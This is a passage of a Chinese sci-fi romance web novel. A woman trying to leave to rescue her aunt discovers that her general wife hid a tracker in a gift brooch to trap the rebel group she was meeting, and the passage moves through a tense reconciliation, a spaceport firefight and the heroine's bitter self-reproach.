“青佩,明天的事情已经安排好了。”李蔓的声音低沉而急促,“明天军校开幕式结束后,会有人来接应你,暗号是‘花开了,春天来了’。” 宋青佩的心一紧,迟迟说不出话来。 “青佩,你听到了吗?”李蔓声音急切。 “我……听到了。”她的声音有些沙哑,仿佛从喉咙深处挤出来的一样。 “好,记住,一切小心。” 李蔓说完,便挂断了电话。 宋青佩握着通讯器,呆呆地坐在沙发上,脑海中一片空白。 她真的要离开了吗? 离开颂颂,离开明毓,离开这个她好不容易才拥有的家? 她感到一阵恍惚,仿佛这一切都像是一场梦,让她有些不愿面对现实。 过了许久,宋青佩才勉强恢复了镇定。 她站起身,看了看时间,发现已经到了接颂颂放学的时候。她整理了一下情绪,拿起外套,出门去接颂颂。 到了学校门口,颂颂像一只欢快的小鸟一样扑进了她的怀里。 “妈妈!”颂颂的声音中满是兴奋,“你今天怎么来接我了?” 宋青佩勉强笑了笑,摸了摸颂颂的头:“今天妈妈有空,就来接你了。怎么样,今天在学校开心吗?” 颂颂用力地点了点头,眼睛亮晶晶的:“开心!今天老师还夸我了呢!” 宋青佩牵着颂颂的手,一边走一边听她叽叽喳喳地说着学校里的趣事,颂颂的声音像一股清澈的清泉,暂时冲淡了她心中的阴霾。 “妈妈,你知道吗?”颂颂抬起头,满脸骄傲地说,“今天我在新闻上看到妈咪了!同学们都说妈咪好厉害,他们都很羡慕我有这么厉害的妈咪!” 看着颂颂天真无邪的脸庞,宋青佩心中涌起一阵酸涩。 “是啊,妈咪很厉害。”她强颜欢笑,努力不让女儿看出自己的不对劲:“颂颂以后也要像妈咪一样厉害,好不好?” 颂颂用力地点了点头,小脸上满是认真:“嗯!我一定会努力的!” 回到家后,宋青佩陪着颂颂玩了一会儿。 她努力让自己看起来轻松愉快,但心中的沉重感却始终挥之不去。 时间一分一秒地过去,明毓却迟迟没有回来,宋青佩忍不住拿起通讯器,拨通了明毓的号码。 “明毓,你什么时候回来?” 通讯器那头,明毓的声音有些疲惫:“青佩,今晚我可能会很晚回去。军校的事情太多了,我得处理完才能回家。” 宋青佩的心一沉,她原本想等明毓回家后好好谈谈,但现在看*来,这个计划可能要落空了。 “青佩?”明毓的声音中带着几分疑惑。 “没事……”宋青佩勉强笑了笑,声音有些沙哑,“你忙吧,注意休息。” “好,你也早点休息。” 挂断电话,明毓正站在军校的指挥中心,透过巨大的落地窗,俯瞰着广场上忙碌的士兵和工作人员。 她的心情复杂,既有对即将到来的盛事的期待,也有担忧。 她转过身,看着桌上那枚精致的蓝宝石胸针,这是她特意为宋青佩准备的礼物,她轻轻拿起胸针,握在手心。 明天,她要让所有人都知道,宋青佩,是她的妻子。 “明上将,一切都准备好了。”副官林中尉走进来,恭敬地说。 明毓点了点头,目光依旧停留在胸针上:“林副官,明天的安保工作一定要做到万无一失,我不希望有任何意外发生。” “是,上将。”林中尉郑重地点头:“我们已经加强了所有出入口的检查,确保不会有任何可疑人员混入。” 明毓深吸一口气,将胸针放回盒子中,转身走向窗边。 她的目光穿过广场,仿佛能看到明天的盛况,明天的每一步都至关重要,她不能让任何人破坏这一切,更不会让人有机会带走她的妻子。 —— 夜色渐深,宋青佩陪着颂颂吃完晚饭,又哄她睡觉。 颂颂躺在床上,却迟迟不肯闭上眼睛。 “妈妈,不知道为什么,我忽然好难过。” 颂颂忽然抱住宋青佩,声音中带着几分无措,“我心里好难受,好像有什么不好的事情要发生。” 宋青佩的心猛地一颤,眼眶瞬间湿润。 真的是母女连心吗?颂颂也感觉到了她要离开吗? 她紧紧抱住颂颂,声音有些哽咽:“没事的,颂颂,妈妈在这里。” 颂颂在宋青佩的怀里蹭了蹭,声音渐渐低了下去:“妈妈,你不要离开我……” 宋青佩的心仿佛被撕裂一般,疼痛难忍。 这一刻,她忽然有种想女儿坦白一切的冲动。可是她不能,颂颂还小,万一闹出什么意外,会坏了大事。 她只能强忍着,安慰自己,晚上再跟明毓好好谈谈。在她走后,好好安抚颂颂,一定不要让她难过,越想,越愧疚,她欠女儿的真的太多了。可是她,欠小姨的一样多。 这一刻,她深刻地体验到了什么叫两难。 “妈妈~” 颂颂埋在她怀里,小声喊着她。 宋青佩回过神来,轻轻拍着颂颂的后背,低声哄着:“颂颂乖,睡吧,妈妈在这陪着你。” 过了许久,颂颂才终于睡着了。 宋青佩轻轻把她放在床上,盖好被子,静静地站在床边,看着颂颂恬静的睡颜,心中满是不舍。 她在心里默默地对颂颂说:宝贝,妈妈对不起你,妈妈会很快回来的。 离开颂颂的房间后,宋青佩坐在客厅的沙发上,静静地等待着明毓回来。 窗外的月光透过窗帘的缝隙洒进客厅,映照在宋青佩略显疲惫的脸上。 她坐在沙发上,双手紧紧交握,指尖微微发凉。 时间一分一秒地流逝,她的心也随着钟表的滴答声愈发沉重。 终于,门口传来转动的声音。 宋青佩猛地抬起头,看到明毓推门而入。 她的军装依旧笔挺,但脸上却带着和她相似的疲惫。 看到宋青佩还坐在沙发上,明毓皱起眉头,语气中是明显的心疼:“怎么还没睡?这么晚了,不用等我。” 宋青佩站起身看向明毓,心里五味杂陈。 “明毓,我……有些事想和你谈谈。” 明毓的目光在她脸上停留了几秒,似乎察觉到她的异样,但很快收回了视线,脱下外套,随手挂在衣架上,语气轻松:“什么事这么重要,非得现在说?明天军校开幕式,你也要早起。” 她一时不知道该如何开口,目光有些躲闪,“我……有睡不着,先回房间吧,我有话跟你说。” 两人一前一后进了房间,明毓随手关上门,转身看向宋青佩,目光中带着几分探究:“青佩,你到底怎么了?” 宋青佩站在床边,她原本想直接质问明毓关于乌澜的事情,甚至想问她是否真的在背后策划了什么,可话到嘴边,却怎么也说不出口。 明毓见她迟迟不语,关切道:“青佩,你是不是累了?今天的事情太多了,你先休息吧,有什么事明天再说。” 宋青佩摇了摇头,终于开口:“明毓,颂颂今天……好像察觉到了什么。” 明毓愣了一下,走过去轻轻握住她的手:“颂颂怎么了?” 她低下头,声音有些哽咽:“颂颂今天一直抱着我,说心里难受,好像有什么不好的事情要发生。她还说……让我不要离开她。” 明毓的眼神微微一暗,握着宋青佩的手紧了紧,语气依旧温柔:“小孩子有时候会敏感一些,颂颂只是太依赖你了,你别多想,我会好好照顾她的。” 宋青佩抬起头,眼中满是复杂的情绪:“明毓,你……” 话未说完,她越发觉得明毓的反应太冷静了,冷静得让她觉得不对劲。她原本以为明毓听到颂颂的反应,会慌乱,会追问,甚至会愤怒,可明毓却像早已预料到一切,甚至连一句挽留的话都没有。 居然……还会安慰她。 如果说之前,她还只是有一点怀疑,现在她几乎可以确认。 明毓肯定有问题。 宋青佩再也忍不下去,艰难开口:“明毓,你……你是不是有什么事情瞒着我?” 明毓的身体明显一僵,“为什么这么问?” 看着明毓疲惫的面容,宋青佩有些不忍,但想到乌澜的话和李蔓的安排,她犹豫了一下还是问出了口:“明毓,你……跟乌澜的交易是怎么回事?” 明毓的眉头微微皱起,语气中带着几分警惕:“乌澜?她跟你说什么了?” 宋青佩声音更轻了:“她……没说什么,我只是怕你一时冲动……” “青佩,你到底想说什么?你在怀疑我什么?”明毓受伤看向她。 宋青佩连忙摇头:“我不是怀疑你。我只是……只是有点不安。” “不安?为什么不安?”明毓的目光紧紧锁住她,声音低沉:“是因为我答应让你走,你觉得我会反悔?” 揭开了那层掩饰,宋青佩的心思昭然若揭。 终究还是有些心虚,宋青佩的声音几乎微不可闻:“我……我不知道。明毓,你从来不是一个会轻易放手的人。我怕……怕你其实并不想让我走。” 明毓的眼中闪过复杂的情绪:“所以,青佩,你是在试探我吗?你觉得我会为了留下你,不择手段?” 在她的气势下,宋青佩越发没底气,“我不是这个意思……我只是……” 后面的话她实在无法说不出口,总不能说她觉得这样的明毓不正常,她不会这么善解人意,这么理解她,正常的她应该将她强行留下,哪怕把她关起来。她再蠢,也不可能说出这些话。 怕是明毓原本不是这么想的,也会气得把她关起来。 见她支支吾吾,许久也没说出个所以然来,明毓的眼神逐渐变得锐利,语气中带着几分压抑的怒气: “青佩,你真的想知道答案吗?如果我说,我不想让你走,你会留下吗?如果我说,我宁愿你恨我,也会不择手段将你留下。你会怎么选择?” 宋青佩的心一颤,“明毓……” 明毓神色痛苦,声音中带着几分哽咽:“青佩,你总是这样……你总是觉得我会伤害你,会控制你。可你有没有想过,我答应让您走,只是怕你再恨我,我根本就没有别的选择,不是吗?” 宋青佩顿时羞惭不已。 是啊,她做了决定,就这么单方面地告诉了明毓,试图取得她的信任和理解,可明毓真的答应了,她却怀疑她。 明毓说得对,自己一开始就没有给她选择的机会。 明毓受伤地看着她,从口袋里掏出一枚精致的胸针,轻轻放在宋青佩的手心,她的声音低沉而沙哑,带着几分痛心。 “青佩,这枚胸针和我的奖章一样,是我最珍视的东西。我想和你分享我的荣耀……可你,却总是想着离开我,还怀疑我对你的心。” 宋青佩看着手中的胸针,顿时后悔不已。 “明毓,我……我不该怀疑你。对不起……” 不等她说完,明毓猛地抱住她,下巴抵在她的肩膀,在她耳边低声乞求:“青佩,如果我求你……你能为我和颂颂留下吗?” “如果我不择手段把你留下,你会原谅我吗?” “青佩,别走好不好,求你……” 宋青佩的心仿佛被撕裂一般,她张了张嘴,却发现自己无法回答。 现在她无比后悔,她不该怀疑明毓,明明明毓已经答应她了,可偏偏她又愚蠢地揭开了这个伤疤,将两人又推到了这尴尬的局面。 “青佩,我不能没有你,别走好不好?” “求你,别走……” 耳边,明毓一声声的乞求,让宋青佩进退维谷。 许久,她才艰难吐出一句,“明毓,对不起,我……我保证,会早点回来的……” 再次听见她的选择,明毓眼中的光芒逐渐黯淡。 她缓缓松开了抱着宋青佩的腰,没再说话,也没再看宋青佩,转身走向浴室,声音低哑:“我去洗个澡。” 宋青佩站在原地,手中紧紧攥着那枚胸针,听着浴室里传来的水声。 脑海中不断回想着明毓刚才的话:“青佩,我想和你分享我的荣耀……可你,却总是想着离开我,还怀疑我对你的心。” 一字字,一句句,仿佛在不停地控诉着她。 她对明毓的怀疑,彻底伤了她的心。她真不是个东西。 几分钟后,宋青佩将胸针放到桌子上,轻轻推开浴室的门。 明毓站在淋浴下,洁白如玉的身体在水雾中晕染着光,水珠顺着她的肌肤滑落,勾勒出她修长的身形。 宋青佩走上前,从背后抱住她:“明毓,对不起……我不该怀疑你。” 明毓的身体微微僵硬,随即转过身,将她拉进怀里。 水珠打湿了宋青佩的衣服,但她毫不在意。 她抬起头,直视着明毓的眼睛,声音中带着几分坚定:“明毓,相信我……无论发生什么,我都会回来……” 明毓似乎并不想听她说话,她忽然低下头,吻住了宋青佩的唇。 这个吻带着前所未有的激烈与占有,宛如被逼急了野兽,狠狠地厮磨。宋青佩回应着她,双手紧紧抱住她的腰,仿佛要将她融入自己的身体里。 两人的呼吸交织在一起,急促而凌乱。 明毓的手掌顺着宋青佩的腰线滑下,指尖轻轻挑开她的衣扣。 宋青佩配合地将衣服脱掉,主动将她拉近,温水打湿了两人的身体,却无法浇灭她们心中的火焰,明毓的信息素被撩动,陡然在狭窄的浴室里炸开。 她的发热期又提前来了。 在信息素的影响下,明毓的身体一软,宋青佩立刻伸手扶住她的腰,用自己的力量撑着,将她摁到了布满水珠的瓷砖上,燥热的身体陡然接触到冰凉的触感,让她忍不住一个激灵。 仿佛冰火两重天,反而刺激得她的信息素越发浓烈。 明毓不满地攀住始作俑者的脖子,吻从宋青佩的唇滑到她的颈间,轻轻咬住她的锁骨,留下一道深深的痕迹,满意听着她闷闷的轻哼声。 明毓的吻带着几分泄愤的意味,狠狠地咬住宋青佩的唇,仿佛要将她所有的委屈和不甘都倾注在这个吻里。宋青佩没有反抗,反而温柔地回应着她,任由她的唇舌在自己口中肆虐。 可明毓并不满足于此,她的吻越发放肆,宋青佩没有推开她,反而将她搂得更紧,明毓的信息素越发浓烈,带着一种近乎疯狂的占有欲。 “明毓……” 宋青佩的声音有些沙哑,带着几分无奈。 她知道明毓在发泄,发泄她心中的不安和痛苦,她愿意纵容她。 明毓的手顺着宋青佩的腰线滑下,宋青佩的身体微微颤抖被强烈的渴望占据,身体手指深深嵌入明毓的发间,呼吸越发急促。 “明毓……够了……” 宋青佩的声音带着几分压抑的喘息,她感觉到自己的理智正在逐渐崩塌。 明毓抬起头,眼中带着几分挑衅和不满:“你不是要走吗?这算什么?临走前的分别” 知道她不可能说出什么好话,宋青佩赶紧低下头,双手紧紧扣住她的手腕,低头吻住了她的唇,试图用这个吻来平息她的愤怒。 明毓的身体微微颤抖,却没有反抗,反而主动迎合着她的吻。 宋青佩感受到明毓内心汹涌的痛苦与不甘,她的心也被揪得生疼。她知道,此刻的明毓就像一只受伤后独自舔舐伤口却又渴望慰藉的兽,那些带着宣泄意味的亲吻与触碰,是她最后的挣扎。 而她的理智在明毓浓烈信息素的冲击下,也渐渐摇摇欲坠,宋青佩的唇缓缓下移,寻找到那个最敏感的腺体。 明毓察觉到了她的意图,身体猛地一僵,眼中闪过慌乱与期待交织的复杂光芒。还没等她有所反应,宋青佩已经毫不犹豫地咬了下去。 终于,她再也无法忍受这灭顶的感觉,猛地咬住了宋青佩的肩膀,发出一声低低的呜咽。 “青佩,不要走…… 两人的身体紧紧缠在一起,仿佛恨不能溺死在对方怀里,永不分开。 第64章 二度火葬场预警 清晨,宋青佩睁开眼睛,感受到身旁温暖的体温。 她侧过头,看着明毓安静的睡颜,心中涌起一阵复杂的情感。 今天,是军校正式成立的日子,她即将见证明毓的荣耀,但同时也是她离开的日子。 明毓似乎感受到了她的目光,缓缓睁开眼睛,“早。” 宋青佩勉强笑了笑,轻声回应:“早。” 两人起床后,明毓特意叫来了造型师艾琳娜,为宋青佩选择礼服、化妆、做发型。 接连几次相处,艾琳娜已经和宋青佩相当熟络。她忍不住笑着打趣道:“两位昨晚可真是激烈啊,宋小姐这脖子上的痕迹,遮都遮不住。” 宋青佩的脸微红,下意识地摸了摸脖子,尴尬地看向明毓。 明毓却神色如常,淡淡地说:“选一件立领的礼服吧,可以遮住。” 艾琳娜笑着点头,从衣架上挑了一件优雅的立领修身长裙,递给宋青佩:“这件不错,既端庄又能遮住这些‘小秘密’。” 听到小秘密三个字,宋青佩更加不好意思了。 她赶紧接过礼服,逃也似的走进更衣室换上。当她走出来时,艾琳娜满意地点了点头:“果然很适合你,明上将的眼光一向不错。” 明毓站在一旁,目光落在宋青佩身上,眸中温柔一闪而过。 她已经换上了一袭烫金黑色军礼服,剪裁利落,完美勾勒出她修长挺拔的身姿,腰细腿长。肩章上的勋章熠熠生辉,映衬着她冷艳如雪的面容,又美又飒,让人望而生畏。 宋青佩看着看着,心中忽然生出一丝异样的感觉。 明毓的军礼服将她包裹得严严实实,一丝不苟,想到昨晚两人的‘激烈’,她忽然有种莫名的渴望,如果将穿着严整的明毓,军服一件件扒掉…… 她思绪放飞间,明毓已经走到了她身后。 她手中拿着那枚精致的蓝宝石胸针,淡淡垂眸,眸中闪过一抹复杂的神色,很快消失不见。俯身,将胸针轻轻地别在宋青佩的礼服上,好像虔诚的骑士在为自己的女王加冕。 她低声说:“今天,我的荣耀与你同在。” 宋青佩低头看着胸针,什么也没说,主动抱住明毓,两人呼吸融为一体,仿佛一切尽在不言中。 许久,两人才分开,随后出发前往军校。 军校的广场上,早已布置得庄严肃穆。 巨大的旗帜在风中飘扬,士兵们整齐列队,等待着开幕式的开始。宋青佩挽着明毓的手臂,走进会场,感受到周围投来的目光。 她长出一口气,努力让自己保持镇定。 她们沿着红毯缓缓前行,红毯两侧,军校的学员们身姿笔挺,敬着标准的军礼,目光中满是崇敬与向往。 宋青佩微微侧目,望向这些年轻而充满朝气的脸庞,心中不禁感慨万千。这些年轻人,即将在这里开启梦想的旅程,而明毓,就是那个为他们指引方向的领路人。 进入礼堂,里面更是人声鼎沸。 穹顶之下,巨大的水晶吊灯洒下璀璨光芒,照亮了每一个角落。 前排的贵宾席上,早已落座了诸多军政要员,总统战笠也在其中。他身着深色西装,面容冷峻,偶尔与身旁的幕僚低语几句,举手投足间尽显威严。 原本的宋青佩,是绝不会长久盯着这样的大人物打量的,可是得知了自己的身世后,她忍不住多看了几眼这位位高权重的‘杀母仇人’。而战笠更是敏锐,仿佛下一刻就感受到了异样的视线,猛地往宋青佩这边看了过来。 明毓本能地移到宋青佩身前,挡住了战笠的视线。 战笠微不可见地皱了皱眉,又自然地转过了身,和身旁的人继续说话。 感受到宋青佩紧握住自己的手,明毓凑近她耳边,低语:“青佩,不要冲动。” 宋青佩强压自己的愤怒,点了点头,跟着明毓走向了座位。 开幕仪式在庄重的音乐声中拉开帷幕。 主持人走上台,声音激昂洪亮,宣读着军校成立的意义与使命,每一个字都仿佛掷地有声,在礼堂上空回荡。 紧接着,便是各界代表依次上台致辞。 先是总统战笠发表了热情洋溢的演讲,赞扬了军校的成立对联邦未来的重要意义,话语中充满了对明毓的赞赏,称她为“联邦的未来之星”。 宋青佩坐在了第三排,离台上很近,目光始终停留在明毓身上。 她看着明毓一身笔挺的军装,站在台上,神情坚定而自信。 明毓的演讲简短有力,引发了阵阵掌声,最后,她的目光遥遥地落在宋青佩身上,声音中带着几分柔情:“最后,我要特别感谢我的妻子,宋青佩。她的支持与理解,是我前进的动力。” 她的话音落下,会场内一片寂静。 政要们虽然面色如常,但眼神中难掩惊讶,片刻后,也不知在谁的带头下,迅速响起热烈的掌声,所有的镜头都聚焦在宋青佩身上。 宋青佩感到一阵不好意思,努力维持着得体的笑容。 直播画面迅速传遍星际网络,瞬间引发了轩然大波。 各大社交平台上,讨论如潮水般涌来。 宋青佩不习惯这种聚光灯下,整个人紧张的脊背绷紧,生怕给明毓丢脸,直到镜头陆续移走,她才松了一口气。 就在这时,她的通讯器震动了一下。 宋青佩低头一看,是李蔓发来的信息:“青佩,一切准备就绪,我们在约定的地点等你。” 她的心猛地一沉,手指颤抖。 她知道,该走了。 宋青佩悄悄站起身,趁着所有人的注意力还在台上,悄然离开了会场。 她快步走向休息室,换下了繁复的礼服,穿上了一套简单的便装。她的心跳得飞快,脑海中不断回想着明毓刚才的话,心中充满了不舍与愧疚。 但她知道,她必须去救小姨,这是她无法逃避的责任。 宋青佩深吸一口气,推开了休息室的门,悄然离开了军校。 她按照李蔓的指示,前往约定的地点。 —— 明毓的演讲结束后,全场响起了雷鸣般的掌声。 她站在台上,目光扫过台下的人群,最终停留在宋青佩原本坐着的位置上——那里已经空了。明毓的心猛地揪起,眉头皱起,但脸上依旧保持着从容的微笑。 她走下台,迅速穿过人群,走向后台。 林中尉早已在那里等候,见到明毓,立刻上前一步,低声说:“上将,宋小姐已经离开了。” 明毓的眼神瞬间冷了下来,声音低沉而克制:“什么时候的事?” “就在您演讲结束前几分钟。”林中尉回答道,语气中带着紧张,“她去了休息室,换下了礼服,然后从侧门离开了。” 明毓的手指收紧,指节因用力而泛白。 她的目光扫过会场,仿佛在寻找宋青佩的身影,但很快,就收回了视线,声音冷静而果断:“一切按照原计划进行。” 林中尉点了点头,立刻转身去执行命令。 明毓站在原地,努力让自己冷静下来。哪怕明知道宋青佩走不了,此刻的她却还是感到心慌和疼痛,仿佛有什么重要的东西在离她而去。 她转身走向战笠所在的方向。 战笠正站在一群高官中间,似乎在谈论着什么,见到明毓走过来,他的笑容更加深了几分。 “明上将,恭喜啊。”战笠举起手中的酒杯,语气中带着几分意味深长,“军校的成立,可是联邦的一大盛事,你作为校长,功不可没。” 明毓不卑不亢:“总统过奖了,这都是大家的共同努力。” 战笠眯了眯眼睛,目光在明毓脸上停留了几秒,随后笑道:“明上将,听说你的妻子今天也来了?怎么没见到她?” 明毓的神色依旧平静,“青佩有些不舒服,先回去休息了。” “哦?”战笠挑了挑眉,语气中带着几分试探,“是吗?那可真是遗憾,我还想亲自见见她呢。” 明毓的眼神中闪过一丝惊讶,但很快被她掩饰过去。 她淡淡地说:“战总统日理万机,青佩不过是个普通人,不敢劳您费心。” 战笠笑了笑,没有再说什么,只是意味深长地看了明毓一眼,随后转身离开了。 明毓站在原地,看着战笠的背影,眼中闪过一丝冷意。 她不知道,战笠是不是已经开始怀疑宋青佩的身份,但今天,她公然表示了青佩的身份,哪怕是有一天青佩的身世真的暴露,看在她和明家的面子,战笠也不会轻易动手。 明毓转身走向指挥中心,林中尉已经在那里等候。 见到明毓,她立刻上前汇报:“上将,一切已经安排妥当。我们的人已经封锁了所有星际港口,宋小姐绝对无法离开澜星。” 明毓点了点头:“找到她,但不要惊动任何人。” “是,上将。”林中尉立刻转身去执行命令。 明毓站在指挥中心的大屏幕前,目光紧紧盯着屏幕上闪烁的红点——那是宋青佩胸针上的定位信号。她的神情冷峻,手指轻轻敲击着桌面,发出有节奏的声响,仿佛在压抑着内心的焦躁。 就在这时,通讯器突然响起。 明毓低头一看,是乌澜的号码。 她接通电话,声音冷静而克制:“乌局长,有什么事?” 乌澜的声音从通讯器那头传来,带着几分慵懒:“明上将,宋青佩已经离开军校前往接头地点,你打算怎么办?” 明毓的眼神瞬间冷了下来,“按照我们的约定,将黑鸢花的人一网打尽,只有死人才能永远保守秘密。你想要的东西,我会给你的。” 乌澜轻笑了一声,“放心,一定让上将大人满意。” 明毓没再说话,直接挂断了通讯器。 —— 宋青佩离开军校后,按照李蔓的指示,迅速前往约定的地点。 突然,通讯器突然震动了一下。 她低头一看,是一条陌生号码发来的短信。 点开短信,内容简短却让她心头一震: 【宋小姐,请再好好想想,明上将真的会放你离开?】 宋青佩的脚步猛地顿住,心跳陡然加快。 她盯着那条短信,手指颤抖,迅速回复:“你是谁?” 然而,对方却再也没有回应。 她的脑海中一片混乱,思绪像是被搅乱的湖水,难以平静。她努力让自己冷静下来,思考这条短信的意义。 “明毓……真的会放我离开吗?”她再次在心里问自己。 突然,她的脑海中闪过一个画面——明毓为她戴上那枚蓝宝石胸针时,眼中那一闪而过的复杂情绪。 她猛地低头,看向自己胸前的胸针,心中隐隐有了一个可怕的猜测。 她迅速取下胸针,借着路灯的光线仔细检查。 果然,在胸针的背面,她发现了一个微小的、几乎难以察觉的装置——定位器。 宋青佩的心猛地沉了下去,惊怒交加的情绪瞬间涌上心头。 她紧紧攥着胸针,心中既愤怒又失望:“明毓,你果然……还是动了手脚。” 她努力让自己冷静下来,迅速分析眼前的局势。 如果明毓在她的胸针里装了定位器,那她的行踪早已暴露。李蔓和黑鸢花的人可能已经被盯上,而她如果继续前往约定的地点,不仅救不了小姨,还可能连累所有人。 “不能去……至少不能这样去。”她在心里告诉自己。 宋青佩迅速环顾四周,发现不远处停着一辆无人驾驶的共享悬浮车。 她快步走过去,将胸针轻轻放在车内的座椅上,随后启动了自动驾驶模式,设定了另外一个相反的目的地。 “明毓,就让这枚胸针带你兜个圈子吧。” 她低声说道,眼中闪过一丝决绝。 悬浮车缓缓启动,宋青佩则迅速下车,躲进了路旁的阴影中。 她必须尽快找到一个新的藏身之处,同时想办法联系李蔓,改变计划。但在这之前,她需要确保自己不会被明毓的人发现。 她迅速改变了原本的装扮,随后找了个偏僻的地方,联系了李蔓,将这边的事情简单说明。 “李蔓,明毓在我的胸针里装了定位器,我的行踪已经暴露了。我现在不能去约定的地点,否则会连累你们。” 李蔓紧张地问:“青佩,你现在在哪里?安全吗?” “我还好,暂时躲起来了。”宋青佩低声说道,“但我需要一个新的计划,和你汇合。” 李蔓沉默了几秒,随后果断地说道:“青佩,你现在立刻前往新的接应地点。我们已经没有时间了,调查局的人已经开始行动了,再拖下去,我们谁都走不了。” 宋青佩忙问:“新的接应地点在哪里?” “我发给你坐标,你立刻过去。”李蔓的声音中带着几分急促,“记住,一定要小心,明毓的人肯定已经在找你了。” “好,我马上过去。”宋青佩低声说道,随后挂断了通讯器。 她迅速查看李蔓发来的坐标,发现新的接应地点位于城郊的一处废弃仓库,她随后悄悄离开了小店,朝着目的地赶去。 然而,当她艰难地到达新的接应地点时,发现情况不对劲。 远远地,她看到几辆调查局的车辆停在仓库外,几名身穿制服的调查局人员正押着两个人从仓库里走出来。 宋青佩的心猛地一沉,慌忙躲进路旁的阴影中。 “怎么会这样……” 她不敢再贸然行动,只能躲在阴影中,眼睁睁看着调查局的人将黑鸢花的成员押上车,随后扬长而去。 仓库外恢复了寂静,只剩下夜风呼啸的声音。 等确定人走了,宋青佩才拿出了通讯器,再次联系李蔓,却发现通讯器那头已经没有了任何回应。 她的手指颤抖,心中涌起一阵恐慌:“难道李蔓……也出事了?” 宋青佩的心跳得飞快,脑海中一片混乱。 她知道,自己已经陷入了绝境——明毓的人在找她,调查局的人也在找她,而李蔓和黑鸢花的人却已经失去了联系。 “该怎么办……”她在心里默默问道。 就在这时,她的通讯器再次震动了一下。 还是那个陌生号码发来的短信: 【宋小姐,请立刻回家,联系明毓,告诉她你不走了。这是你麻痹、取信于她的唯一机会。只有这样,你才有机会真正离开。】 “麻痹明毓……取信于她……”宋青佩低声喃喃,眉头紧锁。 她知道,自己现在的处境已经十分危险。 明毓的人可能在四处搜寻她,而黑鸢花的接应点已经被调查局的人端掉,李蔓也失去了联系,如果她继续贸然行动,很可能会落入别人的陷阱。 可是,她真的要这么做吗? 就在这时,通讯器来了一条新闻推送: “紧急消息:星际港口发生大规模爆炸事件,调查局与不明组织发生冲突,现场已被封锁。” 宋青佩的心猛地一沉,身体止不住颤抖。 她迅速点开新闻,看到画面中星际港口被大批调查局人员包围,战斗激烈,几名身穿黑衣的人被押上车的画面一闪而过。 一瞬间,她的脑海中闪过一个可怕的念头。 难道将她当作诱饵,引出李蔓和她背后的黑鸢花组织,就是明毓和乌澜的交易计划…… 第65章 搬走 星际港口,夜色如墨,冷风呼啸。 港口上空,几艘军部的战舰盘旋着,刺眼的探照灯将整个港口照得如同白昼。地面上,明毓带领的军部精锐部队已经将黑鸢花的成员团团包围,双方剑拔弩张,气氛紧张得仿佛一触即发。 黑鸢花的成员们背靠背站在一起,手中紧握着武器,眼神中满是警惕和决绝。李蔓站在最前方,目光冷冷地扫过四周的士兵,最终定格在明毓身上。 明毓一身笔挺的军装,肩章上的勋章在灯光下闪烁着冷冽的光芒。 她直视着李蔓,目光如刀:“李蔓,投降吧,你们已经没有退路了。” 李蔓冷笑了一声,眼神中带着几分讥讽:“明上将,真是没想到,我们会在这种情况下见面。你是什么时候开始怀疑我的?” 明毓冷声道:“从你宴会上主动接近青佩开始,我就怀疑你了。我只是想看看,你到底想干什么。” 闻言,李蔓的嘴角勾起一抹苦笑,“不愧是明上将,果然心思缜密。可惜,你终究还是低估了她的决心。” 听到她的话,明毓的眼神骤然冷了下来,生怕暴露宋青佩的身份,决然道:“李蔓,不要再废话了。投降,或者死。” “明毓,你以为你能杀得了所有人吗?”*李蔓嘲讽道:“就算我们死了,也自然还会有人继续……” 她话没说完,明毓的眼神中闪过一丝狠戾,她抬起手,冷冷地下令: “攻击!” 随着她的命令,军部的士兵们立刻发动了攻击。 枪声、爆炸声瞬间响彻整个港口,火光冲天,硝烟弥漫。 黑鸢花的成员们奋力抵抗,但面对军部的精锐部队,他们很快陷入了劣势。 李蔓被逼到了绝境,她的手臂中了一枪,鲜血顺着她的指尖滴落在地。 她的脸色苍白,但眼神依旧坚定。 她看着明毓,愤怒地吼道:“明毓,你真的以为杀了我们,就能掩盖一切吗?你错了,真相总有一天会大白于天下!” 明毓的眼神中闪过一丝复杂的情绪,但很快被她压了下去,满目冰冷。 “李蔓,一切到此为止了。” 就在这时,明毓的通讯器突然响了起来。 她低头一看,是宋青佩的号码。 明毓的心瞬间有了不好的预感,手指颤抖的接通了电话。 “明毓,我在家里。”宋青佩的声音从通讯器那头传来,从未有过的冷漠,“停下这一切,否则我这辈子都不会原谅你。” 明毓的脸上露出明显的慌乱:“青佩,你听我解释……” “停手!”宋青佩的声音陡然提高,“否则,我们就彻底完了。” 明毓挣扎了一瞬,最终,她深吸了一口气,声音沙哑:“停止攻击,抓活的。” 军部的士兵们立刻停止了轰炸式攻击,可终究是实力悬殊,黑鸢花的成员们还是被迅速制服,就连李蔓也被迫束手就擒。 她被两名士兵押着,路过明毓身边,讥笑道:“明毓,你居然也会害怕?真是让人意外。” 明毓没有理会她,而是迅速转身,朝着港口外走去。 她的步伐急促,眼神中满是慌乱和不安。 乌澜迎面走来,看到明毓的模样,笑道:“明上将,真是没想到,你也会有这么慌乱的时候。” 明毓冷冷的看了她一眼,“这里交给你处理,别忘了我们的约定。” “放心吧,我有数。” 乌澜耸了耸肩,语气轻松:“明上将,你这是后院着火了吗?脸色这么难看?” “滚!” 明毓彻底破防,转身疾步离开。 身后回应她的,是乌澜发自内心的愉悦笑声。 —— 宋青佩站在家中的客厅里,心疼得千疮百孔。 她的脑海中不断回放着刚才在新闻中看到的画面——星际港口的混乱、黑鸢花成员被押上车的场景,以及李蔓满身是血的模样,心中充满了愤怒和失望,明毓的冷酷和算计让她感到无比寒心。 她忍不住一遍遍问自己,事情怎么会走到这一步? 为什么呢? 还能为什么呢? 因为她被明毓拿捏了,明毓一次次的试探到了她的底线,看上去好像是明毓在卑微示好,乞求她的原谅。但实际上,在她原谅明毓的那一刻,她的底线就被践踏了。 从那时候,明毓就有恃无恐了吧。 反正最后总会被原谅的,最多再卑微一点,可怜一点,卖卖惨,她就会贱兮兮的心软了,和好了,然后被人当傻子一样耍着玩。 真贱啊! 宋青佩忍不住狠狠地给了自己一个耳光! “啪——” 响亮的耳光声,在空旷的大厅里回荡着,仿佛在讥笑着她的愚蠢。 越发觉得窝囊,宋青佩仿佛在自我惩罚般,忍不住又狠狠地给了自己好几个耳光,到最后她莹白的脸上满是红通通的指印,火辣辣地疼。 疼好,疼才会长记性。 她有些神经兮兮地笑了笑,发过疯后,理智开始慢慢回笼。 宋青佩先去洗了把脸,让自己清醒起来,开始盘算着她现在的处境。 黑鸢花成员基本被明毓和乌澜一网打尽,她等于和慕容暇彻底失去了联系,而明毓更是会对她的行踪严加管控,短时间内,她根本就不可能离开。 至于她小姨,宋青佩不敢去想,她努力不去想。 现在的她,只有一条路了…… 